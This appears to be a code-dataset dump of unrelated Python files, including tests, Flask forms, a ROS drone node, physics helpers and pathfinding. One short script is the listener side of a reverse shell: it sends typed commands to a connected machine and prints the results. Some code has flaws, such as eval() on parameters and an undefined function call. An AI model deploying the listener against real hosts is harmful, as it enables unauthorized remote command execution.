content
stringlengths
0
894k
type
stringclasses
2 values
# -*- coding: utf-8 -*- """Tests dict input objects for `tackle.providers.system.hooks.lists` module.""" from tackle.main import tackle def test_provider_system_hook_lists(change_dir): """Verify the hook call works properly.""" output = tackle('.', no_input=True) assert 'donkey' in output['appended_list'] assert 'donkey' in output['appended_lists'] assert 'chickens' in output['appended_lists']
python
from flask_wtf import FlaskForm from wtforms import StringField,TextAreaField,SubmitField,SelectField from wtforms.validators import Required class PitchForm(FlaskForm): title = StringField('Pitch title',validators=[Required()]) text = TextAreaField('Text',validators=[Required()]) category = SelectField('Type',choices=[('job','Job pitch'),('event','Event pitch'),('advert','Advert pitch')],validators=[Required()]) submit = SubmitField('Submit') class UpdateProfile(FlaskForm): bio = TextAreaField('Bio.',validators = [Required()]) submit = SubmitField('Submit') class CommentForm(FlaskForm): text = TextAreaField('Leave a comment:',validators=[Required()]) submit = SubmitField('Submit')
python
#!/usr/bin/env python """ ROS node implementing Rhinohawk global mission state. See rh_msgs.msg.State for a full description of the state data. The state node aggregates state from many different sources and makes it available to other nodes in the Rhinohawk System, particularly the controller node which is responsible for autonomous mission control. Here it's important to make the distinction between two types of waypoints used in the Rhinohawk System: Mission waypoints, sometimes called "transit waypoints", are the top-level waypoints which need to be reached in order to satisfy the mission. In the context of the MedExpress Challenge, the mission waypoints break down as follows: 1,2 - Must be traversed in this order 3,N - Can be traversed in any other N+1 - Joe's reported location, area must be searched for a landing location On the way back: N,3 - Can be traversed in any order 2,1 - Must be traversed in this order APM waypoints are the low-level waypoints used by the navigation system to navigate no-fly-zones and geofence restrictions and to (eventually) complete mission objectives. Typically, completing any of the above mission waypoints will require M number of APM waypoints. For performance purposes, only the waypoints necessary to complete the next mission objective are uploaded to the autopilot at any given time. """ from functools import partial import rospy from std_msgs.msg import Float64 from sensor_msgs.msg import NavSatFix import mavros_msgs.msg as mrm from rh_msgs.msg import State, Mission, GPSCoord, VehicleState from rh_msgs.srv import GetState, GetStateResponse from rh_msgs.srv import SetMission, SetMissionResponse from rh_msgs.srv import StartMission, StartMissionResponse from rh_msgs.srv import AbortMission, AbortMissionResponse from rh_msgs.srv import SetNoFlyZones, SetNoFlyZonesResponse from rh_autonomy.aggregator import LatchMap from rh_autonomy.util import waypoints_to_str, gps_dist from rh_autonomy import constants as rhc class MissionStatus: NOT_READY = 1 READY = 2 RUNNING = 3 ABORTING = 4 COMPLETE = 5 class VehicleStatus: GROUNDED = 1 FLYING = 2 CONTROL_RATE_HZ = 1 gps_topic = "/mavros/global_position/global" compass_topic = "/mavros/global_position/compass_hdg" vfr_topic = "/mavros/vfr_hud" wp_change_topic = "/mavros/mission/waypoints" def log(s): rospy.loginfo("STATE: %s" % s) def warn(s): rospy.logwarn("STATE: %s" % s) class StateNode(): def __init__(self): self.values = LatchMap() self.mission = Mission() self.dynamic_nfzs = [] self.target_mission_wp = 0 self.apm_wps = None self.reached_apm_wp = -1 self.mission_status = MissionStatus.NOT_READY self.vehicle_status = VehicleStatus.GROUNDED self.landing_location = GPSCoord() rospy.init_node("state") self.sub(gps_topic, NavSatFix) self.sub(compass_topic, Float64) self.sub(vfr_topic, mrm.VFR_HUD) #self.sub(wp_change_topic, mrm.WaypointList, max_age=None) rospy.Subscriber("/mavros/state", mrm.State, self.mavros_state_change) rospy.Subscriber("/mavros/mission/reached", mrm.WaypointReached, self.waypoint_reached) rospy.Subscriber("/mavros/statustext/recv", mrm.StatusText, self.mavlink_statustext) rospy.Subscriber(wp_change_topic, mrm.WaypointList, self.waypoints_changed) self.state_pub = rospy.Publisher("state", State, queue_size = 5) rospy.Service('command/set_mission', SetMission, self.handle_set_mission) rospy.Service('command/start_mission', StartMission, self.handle_start_mission) rospy.Service('command/abort_mission', AbortMission, self.handle_abort_mission) rospy.Service('command/set_dnfzs', SetNoFlyZones, self.handle_set_dnfzs) rospy.Service('command/get_state', GetState, self.handle_get_state) def run_forever(self): rate = rospy.Rate(CONTROL_RATE_HZ) while True: if rospy.is_shutdown(): break self.check_goal() if self.state_pub.get_num_connections() > 0: self.state_pub.publish(self.get_state()) rate.sleep() def check_goal(self): if self.mission_status != MissionStatus.RUNNING: return if self.target_mission_wp > len(self.mission.mission_wps.points)-1: return target = self.mission.mission_wps.points[self.target_mission_wp] gps_position = self.values.get_value(gps_topic) curr_pos = GPSCoord(gps_position.latitude, gps_position.longitude, 1) d = gps_dist(curr_pos, target) log("Distance from goal: %2.6fm" % d) if rhc.PERFORM_SEARCH and self.target_mission_wp == len(self.mission.mission_wps.points)-1: # Searching for landing marker #TODO: actually search! # For SITL testing -- midway through the search, act like we found the marker if self.apm_wps and self.reached_apm_wp > len(self.apm_wps)/2: midpoint = self.apm_wps[len(self.apm_wps)/2] self.landing_location = GPSCoord(midpoint.x_lat, midpoint.y_long, 0) rospy.loginfo("SITL SIMULATION - Found landing marker") else: # Navigating toward a goal waypoint #for i, point in enumerate(self.mission.mission_wps.points): # d = gps_dist(curr_pos, point) # rospy.loginfo("Goal %d - distance %f"%(i,d)) # are we close to the goal? # TODO: get distance in meters #if d_in_meters < rhc.WAYPOINT_ACCEPTANCE_RADIUS: if d < 0.0002: self.goal_reached(self.target_mission_wp) self.reached_apm_wp = 0 def goal_reached(self, index): log("Reached goal %d" % self.target_mission_wp) log("----------------------------------------------------") if index == len(self.mission.mission_wps.points)-1: rospy.loginfo("Landing at remote location") # get next goal self.target_mission_wp += 1 def sub(self, topic, data_type, max_age=10): rospy.Subscriber(topic, data_type, \ partial(self.values.latch_value, topic, max_age=max_age)) def mavros_state_change(self, msg): if msg.system_status==4: if self.vehicle_status != VehicleStatus.FLYING: self.vehicle_status = VehicleStatus.FLYING log("Flying") else: if self.vehicle_status != VehicleStatus.GROUNDED: self.vehicle_status = VehicleStatus.GROUNDED log("Landed") if self.target_mission_wp == len(self.mission.mission_wps.points): log("MISSION COMPLETE") self.mission_status = MissionStatus.COMPLETE def waypoints_changed(self, msg): self.apm_wps = msg.waypoints if self.apm_wps: rospy.loginfo("Received waypoints (curr=%d):\n%s" % \ (msg.current_seq, waypoints_to_str(self.apm_wps))) #rospy.logdebug("Got waypoint list for goal %d"%mission_goal_id) def waypoint_reached(self, msg): """ Called whenever an APM waypoint is reached """ if not self.apm_wps: warn("Reached waypoint, but no waypoints known") return apm_wps = self.apm_wps if self.reached_apm_wp < msg.wp_seq: log("Reached APM waypoint %s" % msg.wp_seq) self.reached_apm_wp = msg.wp_seq else: log("Already reached APM waypoint %s" % msg.wp_seq) def mavlink_statustext(self, msg): #log("Got Mavlink msg: %s " % msg.text) #if msg == 'Land complete': # log("On the ground") pass def handle_set_mission(self, msg): """ Set mission parameters """ if not msg.mission.mission_wps: warn("Mission submitted with no mission waypoints") return SetMissionResponse(False) self.mission = msg.mission self.mission_status = MissionStatus.READY log("New mission has been set:\n%s" % self.mission) return SetMissionResponse(True) def handle_start_mission(self, msg): """ Start mission """ if not self.mission.mission_wps.points: rospy.loginfo("No mission waypoints defined") return StartMissionResponse(False) if self.mission_status != MissionStatus.READY: rospy.loginfo("Status not ready. Cannot begin mission.") return StartMissionResponse(False) # TODO: verify that mission controller is spinning self.mission_status = MissionStatus.RUNNING log("STARTING MISSION") return StartMissionResponse(True) def handle_abort_mission(self, msg): """ Abort mission with extreme prejudice """ self.mission_status = MissionStatus.ABORTING return AbortMissionResponse(True) def handle_set_dnfzs(self, msg): self.dynamic_nfzs = msg.dynamic_nfzs log("New dynamic no-fly-zones have been set") return SetNoFlyZonesResponse(True) def handle_get_state(self, msg): return GetStateResponse(self.get_state()) def get_state(self): state = State() state.mission = self.mission state.dynamic_nfzs = self.dynamic_nfzs state.target_mission_wp = self.target_mission_wp vehicle_state = VehicleState() vehicle_state.status = self.vehicle_status state.vehicle_state = vehicle_state gps_position = self.values.get_value(gps_topic) if gps_position: vehicle_state.position.lat = gps_position.latitude vehicle_state.position.lon = gps_position.longitude vehicle_state.position.alt = gps_position.altitude compass = self.values.get_value(compass_topic) if compass: vehicle_state.heading = compass.data vfr = self.values.get_value(vfr_topic) if vfr: vehicle_state.position.alt = vfr.altitude vehicle_state.airspeed = vfr.airspeed vehicle_state.groundspeed = vfr.groundspeed if self.apm_wps: state.apm_wps = self.apm_wps state.landing_location = self.landing_location state.mission_status = self.mission_status return state if __name__ == "__main__": node = StateNode() rospy.loginfo("Mission state ready.") node.run_forever()
python
class Tuners(object): """Enum class for mapping symbols to string names.""" UNIFORM = "uniform" GP = "gp" GP_EI = "gp_ei" GP_EI_VEL = "gp_eivel"
python
# coding=utf-8 import re from jinja2 import Environment, PackageLoader class ViewModel(object): class Property(object): def __init__(self, name, type_name): super(ViewModel.Property, self).__init__() self.name = name self.type_name = type_name def __str__(self): return "let {}: Stream<{}>".format(self.name, self.type_name) def __init__(self, vm_text): super(ViewModel, self).__init__() self.vm_text = vm_text @property def view_model_name(self): try: regex = re.compile(r'(?:struct|extension) (\w+)ViewModel') mo = regex.search(self.vm_text) return mo.group(1) except Exception: print("The ViewModel in the pasteboard is invalid.") exit(1) @property def properties(self): try: str = self.vm_text input_block_regex = re.compile("struct Input {([^}]+)") input_block = input_block_regex.search(str).group(1) input_properties_regex = re.compile(r'let (\w+): Stream<([^>]+)>') input_properties = [ ViewModel.Property(p[0], p[1]) for p in input_properties_regex.findall(input_block) ] output_block_regex = re.compile("struct Output {([^}]+)") output_block = output_block_regex.search(str).group(1) output_properties_regex = re.compile(r'let (\w+): Stream<([^>]+)>') output_properties = [ ViewModel.Property(p[0], p[1]) for p in output_properties_regex.findall(output_block) ] return (input_properties, output_properties) except Exception: print("The ViewModel in the pasteboard is invalid.") exit(1) class UnitTest(ViewModel): def create_tests(self): input_properties, output_properties = self.properties env = Environment( loader=PackageLoader('ptfgen_templates', 'commands'), trim_blocks=True, lstrip_blocks=True ) template = env.get_template("unit_test.dart") content = template.render( name=self.view_model_name, input_properties=input_properties, output_properties=output_properties ) return content class BindViewModel(ViewModel): def create_bind_view_model(self): input_properties, output_properties = self.properties env = Environment( loader=PackageLoader('ptfgen_templates', 'commands'), trim_blocks=True, lstrip_blocks=True ) template = env.get_template("bindviewmodel.dart") content = template.render( name=self.view_model_name, input_properties=input_properties, output_properties=output_properties ) return content
python
import matplotlib.pyplot as plt import numpy as np from plotting import * def PID(x,I,dx,KP,KI,KD): u = -np.dot(KP,x)-np.dot(KI,I)-np.dot(KD,dx) return u def PID_trajectory(A,B,c,D,x0,dx0,KP,KI,KD,dt=1e-3,T=10,xdes=None,dxdes=None): """ For 2nd order system Ax + Bdx + c + Du and PID controller Returns dictionary of trajectories [t(t), x(t), I(t), dx(t), ddx(t), u(t), uP(t), uI(t), uD(t)]""" x = x0.copy() dx = dx0.copy() I = np.zeros(len(x0)) res = dict((idx,[]) for idx in ['t','xdes','dxdes','x','I','dx','ddx','u','uP','uI','uD']) t = 0 while t < T: xd = xdes(t) if xdes is not None else np.zeros(len(x0)) dxd = dxdes(t) if dxdes is not None else np.zeros(len(x0)) u = PID(x-xd,I,dx-dxd,KP,KI,KD) ddx = np.dot(A,x-xd) + np.dot(B,dx-dxd) + c + np.dot(D,u) res['t'].append(t) res['x'].append(x.copy()) if xdes is not None: res['xdes'].append(xd) if dxdes is not None: res['dxdes'].append(dxd) res['I'].append(I) res['dx'].append(dx.copy()) res['u'].append(u) res['ddx'].append(ddx.copy()) res['uP'].append(-np.dot(KP,x-xd)) res['uD'].append(-np.dot(KD,dx-dxd)) res['uI'].append(-np.dot(KI,I)) I += dt*(x-xd) t += dt x += dx*dt dx += ddx*dt return res A=np.zeros((2,2)) A[1,0] = 0.4 A[0,1] = -0.4 B=np.zeros((2,2)) B[1,0] = 0 B[0,1] = -0 c=np.zeros(2) #c[1] = 0.5 D=np.eye(2)*1 x0=np.array([1.,0.]) dx0=np.array([0.,0.]) res1 = PID_trajectory(A,B,c,D,x0=x0,dx0=dx0,KP=np.eye(2)*1,KI=np.eye(2)*0.25,KD=np.eye(2)*2,dt=0.01,T=20) res2 = PID_trajectory(A,B,c,D,x0=x0,dx0=dx0,KP=np.eye(2)*1,KI=np.eye(2)*0.25,KD=np.eye(2)*1,dt=0.01,T=20) res3 = PID_trajectory(A,B,c,D,x0=x0,dx0=dx0,KP=np.eye(2)*1,KI=np.eye(2)*0.25,KD=np.eye(2)*0.5,dt=0.01,T=20) #plotmulti([res1,res1],['x','x'],['x','x'],[0,1],['black','green','red','blue']) plt.figure(figsize=(6,6)) plotxy([res1,res2,res3],['kD=2','kD=1','kD=0.5'],['x','x','x'],[0,1],['black','green','red','blue']) #plotxy([res1,res1],['x','u'],['x','u'],[0,1],['black','green','red','blue']) plt.show()
python
""" Copyright (c) 2018 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import traceback import numpy as np from caffe._caffe import log as LOG from caffe._caffe import Layer as BaseLayer class AdaptiveWeightingLossLayer(BaseLayer): """Layer for adaptive weighting between the input losses.""" def _load_params(self, param_str, num_variables): """Loads layer parameters. :param param_str: Input str of parameters """ layer_params = eval(param_str) self._scale = float(layer_params['scale']) if 'scale' in layer_params else 1.0 self._init = layer_params['init'] if 'init' in layer_params else 0.0 self._weights = layer_params['weights'] if 'weights' in layer_params else None if self._weights is None: self._weights = np.ones([num_variables], dtype=np.float32) else: assert len(self._weights) == num_variables assert np.all([w > 0.0 for w in self._weights]) def _create_variables(self, num_params, init_value): """Initializes internal state""" self.blobs.add_blob(num_params) self.blobs[0].data[...] = init_value def setup(self, bottom, top): """Initializes layer. :param bottom: List of bottom blobs :param top: List of top blobs """ try: self._load_params(self.param_str, num_variables=len(bottom)) num_variables = len(bottom) self._create_variables(num_variables, self._init) except Exception: LOG('AdaptiveWeightingLossLayer setup exception: {}'.format(traceback.format_exc())) exit() def forward(self, bottom, top): """Carry out forward pass. :param bottom: List of bottom blobs :param top: List of top blobs """ try: num_variables = len(bottom) assert num_variables > 0 assert len(top) == 1 or len(top) == 1 + num_variables samples = [] losses = [] for i in xrange(num_variables): loss_value = np.array(bottom[i].data, dtype=np.float32).reshape([-1]) assert len(loss_value) == 1 loss_value = loss_value[0] if loss_value > 0.0: param_value = self.blobs[0].data[i] loss_factor = np.exp(-param_value) new_loss_value = param_value + self._scale * loss_factor * loss_value samples.append((i, self._scale * loss_factor, self._scale * loss_factor * loss_value)) losses.append(self._weights[i] * new_loss_value) top[0].data[...] = np.sum(losses) if len(losses) > 0 else 0.0 if len(top) == 1 + num_variables: for i in xrange(num_variables): top[i + 1].data[...] = np.copy(bottom[i].data) self._samples = samples except Exception: LOG('AdaptiveWeightingLossLayer forward pass exception: {}'.format(traceback.format_exc())) exit() def backward(self, top, propagate_down, bottom): """Carry out backward pass. :param top: List of top blobs :param propagate_down: List of indicators to carry out back-propagation for the specified bottom blob :param bottom: List of bottom blobs """ try: num_variables = len(bottom) for i in xrange(num_variables): bottom[i].diff[...] = 0.0 top_diff_value = top[0].diff[0] for i, loss_scale, var_scale in self._samples: if propagate_down[i]: bottom[i].diff[...] = self._weights[i] * loss_scale * top_diff_value self.blobs[0].diff[i] += self._weights[i] * (1.0 - var_scale) * top_diff_value except Exception: LOG('AdaptiveWeightingLossLayer backward pass exception: {}'.format(traceback.format_exc())) exit() def reshape(self, bottom, top): """Carry out blob reshaping. :param bottom: List of bottom blobs :param top: List of top blobs """ top[0].reshape(1) num_variables = len(bottom) if len(top) == 1 + num_variables: for i in xrange(num_variables): top[i + 1].reshape(1)
python
# # Copyright (c) 2021, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from typing import List import pytest import tensorflow as tf import merlin.models.tf as ml from merlin.io.dataset import Dataset from merlin.schema import Tags def test_sequential_block_yoochoose(testing_data: Dataset): body = ml.InputBlock(testing_data.schema).connect(ml.MLPBlock([64])) outputs = body(ml.sample_batch(testing_data, batch_size=100, include_targets=False)) assert list(outputs.shape) == [100, 64] class DummyFeaturesBlock(ml.Block): def add_features_to_context(self, feature_shapes) -> List[str]: return [Tags.ITEM_ID.value] def call(self, inputs, **kwargs): items = self.context[Tags.ITEM_ID] emb_table = self.context.get_embedding(Tags.ITEM_ID) item_embeddings = tf.gather(emb_table, tf.cast(items, tf.int32)) if tf.rank(item_embeddings) == 3: item_embeddings = tf.squeeze(item_embeddings) return inputs * item_embeddings def compute_output_shape(self, input_shapes): return input_shapes @property def item_embedding_table(self): return self.context.get_embedding(Tags.ITEM_ID) def test_block_context(ecommerce_data: Dataset): inputs = ml.InputBlock(ecommerce_data.schema) dummy = DummyFeaturesBlock() model = inputs.connect(ml.MLPBlock([64]), dummy, context=ml.ModelContext()) out = model(ml.sample_batch(ecommerce_data, batch_size=100, include_targets=False)) embeddings = inputs.select_by_name(Tags.CATEGORICAL.value) assert ( dummy.context.get_embedding(Tags.ITEM_ID).shape == embeddings.embedding_tables[Tags.ITEM_ID.value].shape ) assert out.shape[-1] == 64 @pytest.mark.parametrize("run_eagerly", [True]) def test_block_context_model(ecommerce_data: Dataset, run_eagerly: bool, tmp_path): dummy = DummyFeaturesBlock() model = ml.Model( ml.InputBlock(ecommerce_data.schema), ml.MLPBlock([64]), dummy, ml.BinaryClassificationTask("click"), ) model.compile(optimizer="adam", run_eagerly=run_eagerly) model.fit(ecommerce_data, batch_size=50, epochs=1) model.save(str(tmp_path)) copy_model = tf.keras.models.load_model(str(tmp_path)) assert copy_model.context == copy_model.block.layers[0].context assert list(copy_model.context._feature_names) == ["item_id"] assert len(dict(copy_model.context._feature_dtypes)) == 23 copy_model.compile(optimizer="adam", run_eagerly=run_eagerly) # TODO: Fix prediction-task output name so that we can retrain a model after saving # copy_model.fit(ecommerce_data.tf_dataloader(), epochs=1)
python
from sentence_transformers import SentenceTransformer, InputExample, losses from torch.utils.data import DataLoader #Define the model. Either from scratch of by loading a pre-trained model model = SentenceTransformer('distilbert-base-nli-mean-tokens') #Define your train examples. You need more than just two examples... train_examples = [InputExample(texts=['My first sentence', 'My second sentence'], label=0.8), InputExample(texts=['Another pair', 'Unrelated sentence'], label=0.3)] #Define your train dataset, the dataloader and the train loss train_dataloader = DataLoader(train_examples, shuffle=True, batch_size=16) train_loss = losses.CosineSimilarityLoss(model) #Tune the model model.fit(train_objectives=[(train_dataloader, train_loss)], epochs=1, warmup_steps=100)
python
from ..core import Dimensioned, AttrTree try: import pandas from .pandas import DFrame # noqa (API import) except: pandas = None try: import seaborn from .seaborn import * # noqa (API import) except: seaborn = None from .collector import * # noqa (API import) def public(obj): if not isinstance(obj, type): return False baseclasses = [Dimensioned, Collector, AttrTree] return any([issubclass(obj, bc) for bc in baseclasses]) __all__ = list(set([_k for _k, _v in locals().items() if public(_v)]))
python
#! /bin/python3 import socket listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) listener.bind(('127.0.0.1', 8080)) listener.listen(0) print("[+] Esperando por conexiones") connection, addr = listener.accept() print("[+] Conexion de " + str(addr)) while True: command = input('>>') connection.send(command.encode()) result = connection.recv(1024) print(result)
python
from collections import defaultdict, deque import math from .models import Node, Edge class Graph(object): def __init__(self): self.nodes = set() # Nodes models self.edges = defaultdict(list) # Edges models self.distances = {} # mimic Nodes model def add_node(self, value): self.nodes.add(value) # Add nodes to graph # mimic edges model def add_edge(self, from_node, to_node): self.edges[from_node].append(to_node) self.edges[to_node].append(from_node) x = from_node.x_coord - to_node.x_coord y = from_node.y_coord - to_node.y_coord distance = math.pow(x, 2) + math.pow(y, 2) self.distances[(from_node, to_node)] = math.sqrt(distance) def dijkstra(graph, initial): visited = {initial: 0} # Initial will always be the same path = {} # will be passed to interface nodes = set(graph.nodes) # need all nodes that make up the graph while nodes: # while condition fails when all nodes are visited min_node = None # changes upon certain conditions for node in nodes: # each node is looped through from the entire set if node in visited: # check if node has already been visited if min_node is None: min_node = node elif visited[node] < visited[min_node]: min_node = node if min_node is None: break nodes.remove(min_node) current_weight = visited[min_node] for edge in graph.edges[min_node]: try: weight = current_weight + graph.distances[(min_node, edge)] except: continue if edge not in visited or weight < visited[edge]: visited[edge] = weight path[edge] = min_node return visited, path def shortest_path(graph, origin, destination): visited, paths = dijkstra(graph, origin) full_path = deque() _destination = paths[destination] while _destination != origin: full_path.appendleft(_destination) _destination = paths[_destination] full_path.appendleft(origin) full_path.append(destination) return visited[destination], list(full_path) def graph_test(): graph = Graph() all_nodes = Node.objects.filter(floor=3) #print(all_nodes[1]) for node in all_nodes: graph.add_node(node) for node in all_nodes: edges = Edge.objects.filter(FromNode=node) for edge in edges: graph.add_edge(edge.FromNode, edge.ToNode) orgin = Node.objects.get(name="3_enter", floor=3) destination = Node.objects.get(name="136_o", floor =3) path_distance, path_list = shortest_path(graph,orgin, destination) return path_list def get_path(star, end, level): graph = Graph() all_nodes = Node.objects.filter(floor=level) #print(all_nodes[1]) for node in all_nodes: graph.add_node(node) edges = Edge.objects.filter(FromNode=node) for edge in edges: graph.add_edge(edge.FromNode, edge.ToNode) orgin = Node.objects.get(name=star, floor=level) destination = Node.objects.get(name=end, floor =level) path_distance, path_list = shortest_path(graph,orgin, destination) return path_list ''' if __name__ == '__main__': graph = Graph() all_nodes = Nodes.objects.filter(floor=3) #print(all_nodes[1]) print(all_nodes) for node in all_nodes: graph.add_node(node) graph.add_edge('A', 'B', 10) graph.add_edge('A', 'C', 20) graph.add_edge('B', 'D', 15) graph.add_edge('C', 'D', 30) graph.add_edge('B', 'E', 50) graph.add_edge('D', 'E', 30) graph.add_edge('E', 'F', 5) graph.add_edge('F', 'G', 2) print(shortest_path(graph, 'A', 'D')) # output: (25, ['A', 'B', 'D']) '''
python
from client.nogui import DirManager dm = DirManager() dm.run()
python
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright CNRS 2012 # Roman Yurchak (LULI) # This software is governed by the CeCILL-B license under French law and # abiding by the rules of distribution of free software. import numpy as np from scipy.constants import e, c, m_e, epsilon_0, k, N_A from scipy.constants import physical_constants eV2K = physical_constants['electron volt-kelvin relationship'][0] m_p_e = physical_constants['proton-electron mass ratio'][0] def critical_density(lmbda): """ Compute critical density for a plasma Parameters: ----------- - lmbda [ndarray or float]: wavelengt [nm] Returns: - Nc: [cm⁻³] """ lmbda *= 1e-9 omega = 2*np.pi*c/lmbda return 1e-6*epsilon_0*m_e*omega**2/e**2 def coulomb_logarithm(nele, znuc, tele): """ Compute Coulomb logarithm Warning: untested implementation! Use log_lambda instead! Parameters: ----------- - nele: electron density in [cm⁻³] - znuc: nuclear charge - tele: mean temperature in [eV] Returns: -------- ln Λ_spec """ #Ne = nele*1e6 # cm⁻³ to m⁻³ #tele = tele*eV2K #Lambda = (3.*(k*tele)**(3./2))/(4*(np.pi*Ne)**0.5 * (znuc*e)**3) return np.fmax(2, 24. - np.log(nele**0.5/tele)) def log_lambda(nele, Znuc, temp, spec='e', source='Atzeni2004'): """ Compute the Coulomb logarithm for electrons or ions Parameters: ----------- - nele: electron density in [cm⁻³] - znuc: nuclear charge - temp: mean temperature in [eV] - spec: specie i or e - source: literature source from where the formula is taken. Possible options are: * Atzeni2004 : The Physics of Inertial Fusion: BeamPlasma Interaction, Hydrodynamics, Hot Dense Matter, 2004, page 367, section 10.9.1 * Drake2006 : High-Energy-Density Physics, Fundamentals, Inertial Fusion, and Experimental Astrophysics, page 48 Returns: -------- ln Λ_spec """ if spec not in ['e', 'i']: raise ValueError("The 'spec' argument {} must be either 'i' (ions) or 'e' (electrons)".format(spec)) if source == 'Atzeni2004': if spec == 'e': if not np.all(temp > 10): print('Warning: computing Ln Λ_e outside of its validity range Te > 10 eV !') res = 7.1 - 0.5*np.log(nele*1e-21) + np.log(temp*1e-3) elif spec == 'i': if not np.all(temp < Znuc/2.*10e3): print('Warning: computing Ln Λ_e outside of its validity range Ti < 10 A keV !') res = 9.2 - 0.5*np.log(nele*1e-21) + 1.5*np.log(temp*1e-3) elif source == 'Drake2006': if spec == 'e': print('Warning: validity domain for Ln Λ_e not defined in Drake (2006)!') res = 24. - np.log(nele**0.5/temp) else: raise NotImplementedError('Ln Λ_i not defined in the Drake (2006) book!') else: raise NotImplementedError('Source = {} for calculating the Coulomb logarithm is not implemented!'.format(source)) return np.fmax(1, res) def collision_rate(dens, temp, abar, zbar, kind='ei', source='Atzeni2004', ln_lambda_source=None): """ Compute the electron ion collision rate Source: Atzeni2004 Parameters: ----------- - dens: density in [g.cm⁻³] - temp: temperature in [eV] - abar: mean atomic mass - zbar: mean ionization - kind: type of colliosion rate ei, e (ee) or i (ii) - source: formula used to calculate the Log Λ (see `log_lambda` ) Returns: -------- ν_kind [s^-1] """ if kind in ['e', 'ei']: spec = 'e' elif kind == 'i': spec = 'i' else: raise ValueError if ln_lambda_source is None: ln_lambda_source = source nion = dens*N_A/abar nele = nion*zbar lnLambda = log_lambda(nele, zbar, temp, spec=spec, source=ln_lambda_source) if source == 'Atzeni2004': if kind == 'i': res = 6.60e-19*(abar**0.5*(temp/1e3)**(3./2))/((nion/1e21)*zbar**4*lnLambda) elif kind in ['e', 'ei']: res = 1.09e-11*((temp/1e3)**(3./2))/((nion/1e21)*zbar**2*lnLambda) if kind == 'ei': res *= m_p_e/2 return 1./res else: raise NotImplementedError def ff_collision_frequency(nele, zbar,tele, lmbda): """ Compute inverse bremsstrahlung coefficient ν_ib = (ne * ν_ei / nc) * 1/√(1 - ne/nc) Parameters: ----------- - nele: electron density in [cm⁻³] - zbar: mean ionization - tele: mean temperature un eV - lmbda [ndarray or float]: wavelengt [nm] """ nc = critical_density(lmbda) nu_ei = ei_collision_rate(nele, zbar,tele) nu_ff = (nele*nu_ei/nc)*(1/(1 - nele/nc)**0.5) nu_ff[nele>nc] = np.nan return nu_ff def isentropic_sound_speed(abar, zbar, gamma, tele): """ Compute the ion sound speed for an ideal gas (NRL formulary): Parameters: ----------- - abar: atomic number - zbar: mean ionization - gamma: adiabatic index - tele: electron temperature [eV] Returns: ----------- adiabatic sound speed [km/s] """ return 9.79*(gamma*zbar*tele/abar)**0.5 def spitzer_conductivity(nele, tele, znuc, zbar): """ Compute the Spitzer conductivity Parameters: ----------- - nele [g/cm³] - tele [eV] - znuc: nuclear charge - zbar: mean ionization Returns: -------- - Spitzer conductivity [Ω⁻¹.cm⁻¹] """ lnLam = coulomb_logarithm(nele, znuc, tele) return 1./(1.03e-2*lnLam*zbar*(tele)**(-3./2)) def spitzer_conductivity2(nele, tele, znuc, zbar): """ Compute the Spitzer conductivity Parameters: ----------- - nele [g/cm³] - tele [eV] - znuc: nuclear charge - zbar: mean ionization Returns: -------- - Spitzer conductivity [cm².s⁻¹] """ lnLam = coulomb_logarithm(nele, znuc, tele) return 2e21*tele**(5./2)/(lnLam*nele*(zbar+1)) def thermal_speed(temp, abar=1.0, spec='e'): """ Calculate the thermal speed for electrons or ions Parameters ---------- - temp [eV] - abar: mean atomic number - spec: species Returns ------- speed in cm/s Source: https://en.wikipedia.org/wiki/Plasma_parameters """ if spec == 'e': return 4.19e7*temp**0.5 elif spec == 'i': return 9.79e5*abar**(-0.5)*temp**0.5 else: raise ValueError def collisional_mfp(dens, temp, abar, zbar, source='Atzeni2004'): """ Calculate the collisional mean free path Parameters: ----------- - dens: density in [g.cm⁻³] - temp: temperature in [eV] - abar: mean atomic mass - zbar: mean ionization - source: Returns ------- - collisional mean free path [cm] Source: Drake (2006) book. """ nu_ei = collision_rate(dens, temp, abar, zbar, kind='ei', source='Atzeni2004') vel = thermal_speed(temp, abar, spec='e') return vel/nu_ei
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import humps import re def main(): comp = re.compile(r"^(0x[\da-f]+) ([\w \,]*) (\d)", re.M | re.I) match = None op_input = "utils/opcodes.txt" op_output = "src/op.rs" dis_output = "src/dis/mod.rs" asm_output = "src/asm/mod.rs" with open(op_input) as f: match = comp.findall(f.read()) header = ( "//! `{}` is automatically generated by `" + __file__ + "` from `{}`.\n" "//! don't modify this file directly, instead run `python3 " + __file__ + "`.\n\n" ) raw_opcode = "RawOpcode" wrap_opcode = "Opcode" opcode_err = "OpError" with open(op_output, "w") as o: with open(dis_output, "w") as f2: o.write(header.format(op_output, op_input)) f2.write(header.format(dis_output, op_input)) f2.write("use super::op::*;\nuse std::fmt;\n\n") f2.write("#[derive(Debug, Clone)]\n") f2.write(f"pub struct {opcode_err}(usize);\n\n") f2.write(f"impl fmt::Display for {opcode_err} {{\n") f2.write( f"{' ' * 4}fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {{\n" ) f2.write(f"{' ' * 4 * 2}write!(f, \"expected {{}} bytes\", self.0)\n") f2.write(f"{' ' * 4}}}\n}}\n\n") f2.write( f"pub fn disassemble_raw(bin: &[u8]) -> Result<Vec<{raw_opcode}>, {opcode_err}> {{\n" ) f2.write(f"{' ' * 4}let mut ops = Vec::new();\n\n") f2.write(f"{' ' * 4}let mut i = 0;\n") f2.write(f"{' ' * 4}while i < bin.len() {{\n") f2.write(f"{' ' * 4 * 2}ops.push(match bin[i] {{\n") o.write("use std::{fmt, mem};\n\n") o.write("#[allow(non_camel_case_types)]\n") o.write("#[repr(u8)]\n") o.write("#[derive(Debug, Clone, Copy, 